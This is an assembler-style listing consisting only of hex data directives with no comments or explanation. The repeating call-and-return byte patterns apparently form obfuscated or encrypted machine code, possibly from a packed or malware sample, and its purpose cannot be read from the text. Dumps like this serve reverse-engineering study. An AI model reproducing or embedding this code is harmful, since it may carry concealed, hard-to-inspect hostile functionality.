		dd 4244481h, 1Ah, 0DFC35343h, 34538A76h, 8589C2DBh, 7A80DD9h
		dd 4E8h, 1F03FF00h, 8E900h, 52740000h, 6EA2B22Fh, 0E8509892h
		dd 0Eh,	0E66212D1h, 8BA73FC3h, 29F67E94h, 8B668FC0h, 448B5FDFh
		dd 0BF660424h, 8B2D1Dh,	985773BFh, 24448943h, 4830F04h
		dd 66000000h, 58C10BBFh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0D0C35343h, 53995FFh,	0BB6607A8h, 858924E4h
		dd 7ABBB2Bh, 0D5DF8166h, 14EE9ECh, 9ABF0000h, 8B245E6Ah
		dd 0ABBB2385h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0A0CAA421h, 0C74E81AAh
		dd 1800h, 0FB8B6600h, 0BB27B58Bh, 8B6607ABh, 0CD858BF8h
		dd 6A07A80Ch, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0B766C352h, 510689D2h,	0B1858B5Bh
		dd 6A07A80Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 4033C355h, 0BF0FDA67h,	44689FBh
		dd 2AB5B509h, 605007A8h, 850FC88Bh, 0
aAi4J		db 'a‰4$j',0
		dw 0E855h
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 11C35545h, 0FB38D5Dh
		dd 58Ah, 0AA70BF00h, 0E8502BF1h, 0Dh, 75623B7Fh, 47E2A479h
		dd 235D97DBh, 5B5BFC82h, 0BB23B5FFh, 0BB6607ABh, 9D31BDE5h
		dd 7A814A9h, 16817A68h,	2404819Ah, 66088285h, 0FE9h, 7F61D800h
		dd 229E772Ah, 0B5EF713h, 5B6CD62Ch, 0BB2B858Dh,	852907ABh
		dd 7A80791h, 7E990h, 210D0000h,	0F6E55431h, 890F5026h
		dd 5, 0EC081EBBh, 8589907Dh, 7A8152Dh, 53995FFh, 958907A8h
		dd 7A80C8Dh, 50006A61h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 3810FA1h,	80000000h, 85C7B5EFh, 7A80939h
		dd 3, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h, 1Bh
		dd 98C35242h, 0E4F6A16h, 0FEDA472h, 0BD83FFB7h,	7ABBB2Bh
		dd 7C840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 1BAC355h, 0E35DD7ACh
		dd 9D89FF49h, 7A81809h,	69E9h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0CF9952C6h
		dd 662E95F5h, 0E895D7BBh, 0Fh, 0ACAECF6Ch, 4892FEBAh, 5C51CD80h
		dd 60CC0C06h, 0AE95B53h, 0B6000000h, 0B72C9A4Fh, 0AB7D7B68h
		dd 505F6107h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 5240D8C3h, 2EB6F283h, 80CA0546h
		dd 0CFBF4FF3h, 0F2B42B5h, 586h,	0DB816600h, 12E91648h
		dd 3F000000h, 7E67D461h, 0A84729E7h, 6093AFC2h,	0B1BCA5F2h
		dd 39BD835Ah, 307A809h,	43E850Fh, 11E90000h, 7D000000h
		dd 0F68E8DA6h, 0A6C3FFB9h, 0F920F1FBh, 73CB3D0Ah, 465BD8Bh
		dd 0BD8307A8h, 7ABBB2Bh, 15840F00h, 0BF000004h,	426E24F4h
		dd 28A0Fh, 0D98B0000h, 0BB2BB5FFh, 9D8907ABh, 7A83331h
		dd 247595FFh, 88B707A8h, 66CCBF66h, 0BB1FB58Bh,	0CF8107ABh
		dd 4D1F5BD5h, 106C7h, 6A0001h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 30AD4DC3h, 8955DEDBh
		dd 0A8247195h, 8B665007h, 243489DAh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 6AC35646h, 0F52B552h, 68Eh
		dd 0ED9D8B00h, 8007A805h, 0EE806F3h, 1E000000h,	0B238530Eh
		dd 19DCC8C5h, 4DFEAFB7h, 0D99529BEh, 5F07A810h,	0BB2BB5FFh
		dd 6A07ABh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0B120B9C3h, 0E595FF76h, 6A07A823h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0EA99C353h, 0E4D9DE77h, 4AEECC25h, 1FB58BF8h, 8907ABBBh
		dd 0A8250985h, 41858B07h, 6607A829h, 89F311BBh,	0C486h
		dd 0A59D8B00h, 8B07A829h, 0A8173195h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 1278F2E5h, 0A98D89C3h, 5207A804h, 9E9h, 377FA400h, 0F77D1F4h
		dd 835F30BDh, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0F33B1EC3h, 8166F4D1h, 89751CDFh
		dd 9D8B2050h, 7A80CE5h,	0CFC1858Dh, 9D8B07ABh, 7A810D9h
		dd 0B88689h, 0F8600000h, 32D1BD89h, 6A6107A8h, 13E96000h
		dd 0C0000000h, 49B5D37Ah, 8EE25549h, 47D07B1Dh,	5F305159h
		dd 61F886BEh, 0BB2BB5FFh, 6A07ABh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 30496C3h, 0A8D33FCFh
		dd 8D8970FEh, 7A80CF5h,	14E595FFh, 0BF6607A8h, 8A961C30h
		dd 0CE850D8h, 1F000000h, 97299787h, 2235248Bh, 0E82CA278h
		dd 0Dh,	0E0DA5A7Dh, 0FC9EE942h,	0E83084ABh, 5F5F510Dh
		dd 6A965Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 8BA5B0C3h, 0A803719Dh, 2BB5FF07h,	6A07ABBBh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0B440C350h, 398589C1h, 0FF07A823h, 0A81D0995h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0E9C431B1h, 245D9E98h, 8B66C5D7h, 0FDBD83F9h
		dd 7A81Dh, 42840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h
		dd 44810424h, 190424h, 50400000h, 0D3F9CBC3h, 0F9F8C5A2h
		dd 0EE950h, 8CA30000h, 8F4CBEE5h, 0B7BA1769h, 8A2C1F16h
		dd 66243489h, 8D01DA8Bh, 7A810B5h, 0BB2BB5FFh, 6A07ABh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 96415DC3h, 0FBA86607h, 0D595FF63h, 5607A810h, 0FE9h
		dd 4C8F0900h, 0FEDDF10Eh, 0A27EA853h, 7EC9F1C2h, 2BB5FF5Fh
		dd 0BB07ABBBh, 1AB48E8h, 0B3995FFh, 6A07A8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 9782D1C3h
		dd 0E339BBBAh, 0BD8B5D04h, 7A809F5h, 31F5BD83h,	0F0207A8h
		dd 5A84h, 8BDF8B00h, 0A8298185h, 9E96007h, 5E000000h, 0AAC6ACDAh
		dd 655D3937h, 10E8h, 7FF49500h,	0F141CC7h, 9DCD9470h, 0B47DDA89h
		dd 759D03ECh, 5907A819h, 0C661h, 0E852006Ah, 3,	5AC35A20h
		dd 4245489h, 4244481h, 15h, 0FEC35242h,	0BD9D8B3Dh, 0C707A823h
		dd 0A821C985h, 7, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 3404C1E8h, 0F98AF41Ah
		dd 5810F7Ch, 66000000h,	0AED5CF81h, 0FFF31BE9h,	55006AFFh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0D5438399h, 8E975h, 0F7C0000h, 8595B2E8h, 0C18BCD48h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 2BC35040h
		dd 43015B88h, 66562CD3h, 5B3C82BBh, 1C158D89h, 858D07A8h
		dd 7A80425h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	43C35242h, 0C9FDEF9Dh, 27949252h, 79BD8B99h, 5007A823h
		dd 0E8525053h, 5, 779A70F5h, 310F5F8Eh,	6E8h, 39A5B100h
		dd 5B6CE2D3h, 895B585Ah, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 10E83DC3h, 14E970h, 887A0000h
		dd 0EA88390h, 1B6EBD75h, 0EF368256h, 0F0DEBC1Ch, 8B66E37Fh
		dd 81006ADAh, 0E6BB65E3h, 66006A10h, 8950D88Bh,	0A825BD95h
		dd 858D5B07h, 7AD095Ah,	0CE9h, 460AE800h, 0D5C0AFB9h, 0FDC3EC74h
		dd 0B19D8B75h, 8307A830h, 6A05C0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 7811B8C3h, 0F645622Bh
		dd 8D899D46h, 7A83561h,	89F98B50h, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0E56534C3h
		dd 336237FDh, 0A83165BDh, 29006A07h, 0A825B195h, 6A006A07h
		dd 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 89A4C353h
		dd 0A80F0195h, 13E807h,	5C20000h, 3A4880Eh, 87DE3D2Fh
		dd 4E7A5DACh, 4293718Eh, 0F98589EAh, 5B07A831h,	1B3995FFh
		dd 0BD8907A8h, 7A81E45h, 9A3B8D8Dh, 9D3107ABh, 7A81095h
		dd 0D1FF16B7h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	1C35242h, 7D858960h, 3107A829h,	0A815119Dh, 70BF6107h
		dd 834F9BB0h, 0A806A5BDh, 850F0107h, 0B7h, 693DBF56h, 6A5F0DA6h
		dd 52006A02h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 7E9B7h, 2FF0000h, 8AFB2137h, 8E89026h, 0D9000000h
		dd 0F07F8777h, 50CD08D6h, 0AE952h, 0EDBA0000h, 57F3213Fh
		dd 0CD7B983Ch, 5E9310Fh, 7F000000h, 47189AA3h, 505F585Ah
		dd 5E8h, 0BBE64A00h, 905BF6A8h,	6860Fh,	0BD010000h, 7A82645h
		dd 14E595FFh, 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 8970DAC3h, 14E957h, 0C2180000h
		dd 93513ABFh, 6BF77622h, 6035B2C8h, 0B826BC44h,	0E95BF4C1h
		dd 0D85h, 0E8h,	0ED815D00h, 7AD0964h, 6ADBB3h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8D2F68C3h, 0AB8C0385h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 75CE074h, 8B0F879Ch
		dd 7, 1870Fh, 50FC0000h, 801CBF66h, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 9B09C357h, 35FF64F9h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 6FC35242h
		dd 5296D28Fh, 66535709h, 5B906EBBh, 0A259D29h, 8B6607A8h
		dd 258964DEh, 0
		dd 0D2EF8166h, 0E585FFB5h, 0BF07A80Eh, 43551C36h, 6AFF6Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0BBADC6C3h, 0F61485E9h, 891EEBF7h, 0A82A2D85h, 0B5FFF907h
		dd 7A805FDh, 10E9h, 0D7DDE000h,	0EA48AC84h, 52232D50h
		dd 0A379514h, 6D95FF0Bh, 0E907A824h, 10Ch, 2985BD8Bh, 0B007A8h
		dd 70E6F3B7h, 3ABABF66h, 0B70F71E4h, 0F613CD8h,	0EF83h
		dd 958B6000h, 7A81BD1h,	27E5958Bh, 0F6107A8h, 0BD2BC8B6h
		dd 7A82D01h, 6BAh, 8BC18B00h, 0A8004D9Dh, 4E8C107h, 89D98B66h
		dd 0A83165B5h, 0E2F76607h, 5880Fh, 81660000h, 8B3831EBh
		dd 0A82A9D9Dh, 66C82B07h, 0D18BF98Bh, 2A7EE781h, 99E91BAFh
		dd 66000000h, 858BDA8Bh, 47554C50h, 2E45BD8Bh, 0C08307A8h
		dd 2D858907h, 8307A80Dh, 34B300C0h, 830FD03Bh, 39h, 20880Fh
		dd 14E80000h, 68000000h, 1F0B5F23h, 9D562C8Bh, 193F55C4h
		dd 83679FC0h, 8990E631h, 0A823E185h, 49E95F07h,	0F000000h
		dd 28Ch, 0B5B5300h, 0A834C59Dh,	0FF8D8B07h, 66FFFFFFh
		dd 0E183D88Bh, 29840F01h, 1000000h, 0A8197DB5h,	0FFA58307h
		dd 0FEFFFFFFh, 68A0Fh, 95290000h, 7A82F61h, 4C509589h
		dd 8ABF4755h, 0E96126A8h, 0
		dd 7F8AB58Dh, 6A07ACh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0D9AF48C3h, 599D89DBh, 6A07A835h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 29B5339Ch, 81664B45h, 0FFDB4AEBh, 0A80D2195h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 9059D4D3h, 37452D8Ah, 9D31993Ah,	7A8049Dh
		dd 11C6B9h, 83D98B00h, 6AFCE1h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 6CDD3FC3h, 1B4EB1A8h
		dd 45858976h, 8907A82Eh, 0A817B19Dh, 6AFC07h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 318E0EC3h
		dd 9C8FD90Bh, 0E9C5398Fh, 0Dh, 0AFBC1B3Ch, 0C4690AADh
		dd 0B6E83361h, 0FC02BC4h, 0A86h, 870F6000h, 0
		dd 2B615E50h, 0DDBD8BD2h, 0AD07A81Dh, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0F141C355h, 0F9D328Eh,	688h, 19D8B00h
		dd 6A07A806h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0AB41C353h, 23F6804Bh,	0A804659Dh
		dd 880D07h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0C21F4CC3h, 0FBFBDCCh, 1731958Bh
		dd 0FB8B07A8h, 0A598D8Bh, 0BD8B07A8h, 7A81A9Dh,	8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0F5CD67C3h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 9AC35040h
		dd 8F26ED6Bh, 9D897423h, 7A8103Dh, 1885BD83h, 0F0007A8h
		dd 7184h, 28D0F00h, 0B7000000h,	0B83Fh,	8D890000h, 7A832C5h
		dd 3830Fh, 0E7800000h, 4D8D8D31h, 6A07A84Eh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0FB22C355h, 0AF33BB3Dh, 0E1FF7692h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 65C35242h, 3D59ABDFh, 0A469AAD8h
		dd 2965BD8Bh, 0BD8307A8h, 7A80939h, 61840F00h, 0E8000004h
		dd 10h,	0D3131E94h, 6B84F43Ch, 0BB227627h, 0E6029C14h
		dd 5B5B5750h, 39BD835Fh, 107A809h, 455840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 61A3DCC3h, 939BD83h,	0F0307A8h, 3F486h, 0D98B6600h
		dd 51006A60h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0C5A13782h, 0A19D8BF8h, 6607A810h, 0C381D98Ch
		dd 6ABFA0AEh, 6840Fh, 9D030000h, 7A82A8Dh, 6A04E180h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 32BCC356h, 0E8FB7333h, 11h, 39B54323h, 7F84B43h, 642B7AE8h
		dd 685121ADh, 0B5BF6645h, 0C90A5F25h, 140840Fh,	0BD8B0000h
		dd 7A826C5h, 27A59D2Bh,	858B07A8h, 7A80BB1h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 75C35242h, 8B9AB52Ah
		dd 7E8FAh, 0AA10000h, 0CEDF62F5h, 0AD9D2B88h, 5B07A80Ah
		dd 8533F98Ah, 7A82871h,	9E1BD8Bh, 0B70F07A8h, 0E96090FEh
		dd 13h,	1D1370E4h, 37BBA32Eh, 78A57660h, 473E6F9Fh, 61D27B67h
		dd 0E3BB6650h, 0CE990E7h, 70000000h, 97B99E9Ch,	7427491Bh
		dd 6A525936h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0EE903DE1h, 0E9EB6C86h, 10h, 0BAD96F7h
		dd 0EEF97C55h, 0A3132E4Dh, 8652D54Eh, 0A017DC68h, 8B665250h
		dd 34815FFAh, 0BF142324h, 1870F50h, 0F5000000h,	0B5BD8B56h
		dd 5B07A826h, 53995FFh,	6A07A8h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 170BD7C3h, 145DB589h
		dd 858907A8h, 7ABBB2Bh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 2CC35545h, 3BD38151h,	5F16BB42h, 1C4E9h
		dd 0A63EBF00h, 858B2E92h, 7ABBB23h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 4C35141h, 0E50B9D47h, 9D8BFE03h
		dd 7A814FDh, 56F38166h,	1800C7E9h, 0F000000h, 1184h, 0CE900h
		dd 0C1A00000h, 3B6910Ch, 0FFA06581h, 9D8B71E0h,	7A80675h
		dd 0BB27B58Bh, 11E907ABh, 75000000h, 59F9A1E3h,	210F2B43h
		dd 0B93694A3h, 572B2BBFh, 434FBF66h, 0CCD858Bh,	6A07A8h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 61DCB0C3h, 8FD8085Bh, 9D8B37A5h, 7A834FDh, 0BD890689h
		dd 7A807D5h, 0BB1858Bh,	8B6607A8h, 44689FEh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 3FC35040h, 3C24A44Bh
		dd 8BB49F57h, 0A81A459Dh, 659D2307h, 8B07A815h,	0A82E6D9Dh
		dd 52515007h, 34895B5Fh, 11E924h, 0A6910000h, 0F8C69AE9h
		dd 1E3A2AF8h, 0A23A6639h, 0FFFC5D66h, 0ABBB23B5h, 0D3516807h
		dd 7E8E131h, 12000000h,	5C5FDE05h, 815BF0D4h, 30AE2404h
		dd 6A1EEDh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 4BF0CAC3h, 0BB66CD97h, 858D209Eh,	7ABBB2Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0F7C35343h
		dd 0F48C641Ch, 0EE9D4h,	8A8E0000h, 0B1F39B5Bh, 0DAB35DA7h
		dd 69D6C36Fh, 0F98B6690h, 90FA8B50h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 94C35343h, 9B098E16h, 95FFF8F9h
		dd 7A80539h, 6085AFBFh,	6A6118h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 8EC0A2C3h, 0C3B70313h
		dd 93985C7h, 307A8h, 0B70F0000h, 2BBD83FBh, 7ABBBh, 33840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0B93292C3h, 0E2CE9973h, 1D45BD09h, 21E907A8h
		dd 81000000h, 0D8E54AC3h, 0C305025h, 11440011h,	10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 70C35545h, 64E622Ah, 6D95899Eh, 6A07A835h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 66C9C351h, 83A446BBh, 0A80939BDh,	850F0307h
		dd 38Ch, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	53C35242h, 0D58CF388h, 6552BA98h, 0BB2BBD83h, 0F0007ABh
		dd 35B84h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0FBA76F7Eh, 0AEAE21C0h, 0B5FFB45Dh
		dd 7ABBB2Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	9DC35747h, 0E568F153h, 3EBC7C42h, 7595FFF6h, 8B07A824h
		dd 0ABBB1FB5h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0AA0DF537h, 8BF55B4Ch
		dd 0C7FE8BFEh, 1000106h, 9D015700h, 7A82685h, 6E8965Fh
		dd 66000000h, 0DC3FF262h, 880F5166h, 0
		dd 0E8505B5Bh, 0Eh, 15FD2326h, 263377D5h, 68A5A625h, 965F4C59h
		dd 1CE59D8Bh, 0B5FF07A8h, 7ABBB2Bh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 15C35747h, 84161AAEh, 81B7A7BDh
		dd 23E595FFh, 8B6607A8h, 1FB58BD8h, 8B07ABBBh, 0A8294185h
		dd 0EB816607h, 86897C61h, 0C4h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0A2C35343h,	5D117713h, 0BF0AB38Dh
		dd 0FABF0FB2h, 1731958Bh, 858907A8h, 7A82C35h, 0F04C283h
		dd 284h, 89D98B00h, 6A2050h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 140424h, 53430000h, 816657C3h, 89223CEBh
		dd 0A80CC9BDh, 0C1858D07h, 8907ABCFh, 0A8275195h, 0B8868907h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0D9BBC351h, 30BF869Fh,	66432BF8h
		dd 8EE4C781h, 870F006Ah, 5, 847DE9BBh, 2BB5FF7Ch, 6A07ABBBh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 9A7AC352h, 25CD9D8Bh, 95FF07A8h, 7A814E5h
		dd 1D4D8D29h, 0BD2B07A8h, 7A83165h, 50FA8B96h, 6A96F88Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 1FA0C352h, 13E9h,	55C85400h, 0DC0371Bh, 7A5F0C47h
		dd 30378BC8h, 0D0A74EC5h, 0BB2BB5FFh, 6A07ABh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0CDFE2FC3h, 1697D7BBh, 995FF2Fh, 8B07A81Dh, 0FDBD83D9h
		dd 7A81Dh, 27840Fh, 89560000h, 0A817ED8Dh, 0E9965B07h
		dd 0Fh,	1D1A6F3Bh, 0E9A3E4AFh, 0A4B813FDh, 503A3D33h, 196C9B7h
		dd 0A81B35BDh, 2BB5FF07h, 6A07ABBBh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0D650C353h
		dd 0BD8B8BA8h, 7A80495h, 10D595FFh, 6A07A8h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 8B6677C3h
		dd 2BB5FFD8h, 3107ABBBh, 0A803D99Dh, 4DBD8B07h,	0FF07A804h
		dd 0A80B3995h, 0CF816607h, 0BD8336C4h, 7A831F5h, 39840F02h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 816CC352h, 0C07292B8h,	8B88923Eh
		dd 0A8342D9Dh, 81858B07h, 8107A829h, 0FA4AD8F7h, 0C62Ah
		dd 21C985C7h, 7A8h, 95010000h, 7A80BEDh, 0FFF397E9h, 52006AFFh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0F8C1DB9h, 0B81h, 870F6000h,	0
		dd 61CABF0Fh, 12E9C18Bh, 50000000h, 1672C096h, 0A62D65ECh
		dd 0FCC9CF3Dh, 37AB0DDCh, 25858D50h, 9007A804h,	3579050h
		dd 0A82E41BDh, 0B5895F07h, 7A834D1h, 9529006Ah,	7A832B1h
		dd 12E9006Ah, 5B000000h, 0ED597BC4h, 65903A1Ch,	24F3A009h
		dd 6C929A9Dh, 86858D57h, 6A07AD18h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0F8BDC350h
		dd 9CD4A839h, 85291BC2h, 7A82729h, 6A05C083h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0A7FEC356h, 505B5090h, 0AE9h, 68F27500h, 63CF57ECh
		dd 900ED14Dh, 0B3D38166h, 75BD23DBh, 6A07A807h,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 9A3B1720h, 598D6C0h,	6A706Ch, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 17h, 7AC35040h, 66DC3AA0h, 4E28DB81h
		dd 0AFD7C781h, 95FF2C3Eh, 7A81B39h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 8FC35040h, 0B5BD8B62h, 8D07A808h
		dd 0AB9A3B8Dh, 0F19D2B07h, 0F07A826h, 68Eh, 0F2E78100h
		dd 0FF5EE3E7h, 0A5BD83D1h, 107A806h, 59850Fh, 0E9600000h
		dd 13h,	0CD804892h, 0C065C51h, 49C127CCh, 0FC33B55Dh, 6655846Eh
		dd 40DEEF81h, 5880F61h,	0BF000000h, 2C0FCD89h, 0BD01026Ah
		dd 7A80855h, 0FB8B6650h, 8B240489h, 0A80D359Dh,	0E595FF07h
		dd 0E907A814h, 0Fh, 0B4037BE6h,	71AE3ADAh, 2114CEB3h, 0E98A11BAh
		dd 0DB8h, 0E8h,	0ED815D00h, 7AD1890h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 68C35747h, 4966169Ch, 59A42E84h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E1C35242h
		dd 3EAD5B24h, 8D8D3EF5h, 0AB8C0385h, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0F3327CF8h
		dd 66ED32BEh, 0C33ACF81h, 25399D8Bh, 509007A8h,	66525052h
		dd 0F9C7CBFh, 0F585A31h, 59516031h, 50585A61h, 50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 6C9FBF4Dh, 0E8602A72h, 0Dh, 71060B28h, 48CD819Bh, 8E6B8D85h
		dd 59616044h, 2CD59D31h, 646107A8h, 35FFh, 9D8B0000h, 7A81981h
		dd 258964h, 8B000000h, 0A835519Dh, 0E585FF07h, 0B707A80Eh
		dd 6AFF6A39h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 23F2C353h, 47C17DE9h, 0B19D2970h
		dd 0E907A824h, 11h, 38EF120Ch, 0CBB0BB8Eh, 428B7524h, 0A418932h
		dd 0DDB5FF95h, 6A07A805h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 8FA1C350h, 0C76A5E74h
		dd 8B6669C1h, 6D95FFDAh, 0E907A824h, 0FDh, 18B99D8Bh, 0B007A8h
		dd 0E6DF8B66h, 7E970h, 2D030000h, 0B14E6724h, 8071E434h
		dd 0B52906EFh, 7A81D01h, 830F613Ch, 0D1h, 2AA5BD8Bh, 0B60F07A8h
		dd 299589C8h, 0BA07A806h, 6, 0E9C18BFCh, 0Fh, 48FB14Bh
		dd 159B656Ah, 673768A3h, 0C180986Bh, 0BE804E8h,	22000000h
		dd 134418Bh, 7C53B266h,	605278DFh, 665B5B61h, 9D8BE2F7h
		dd 7A828C5h, 0D18BC82Bh, 7AE970B7h, 66000000h, 4ABBE381h
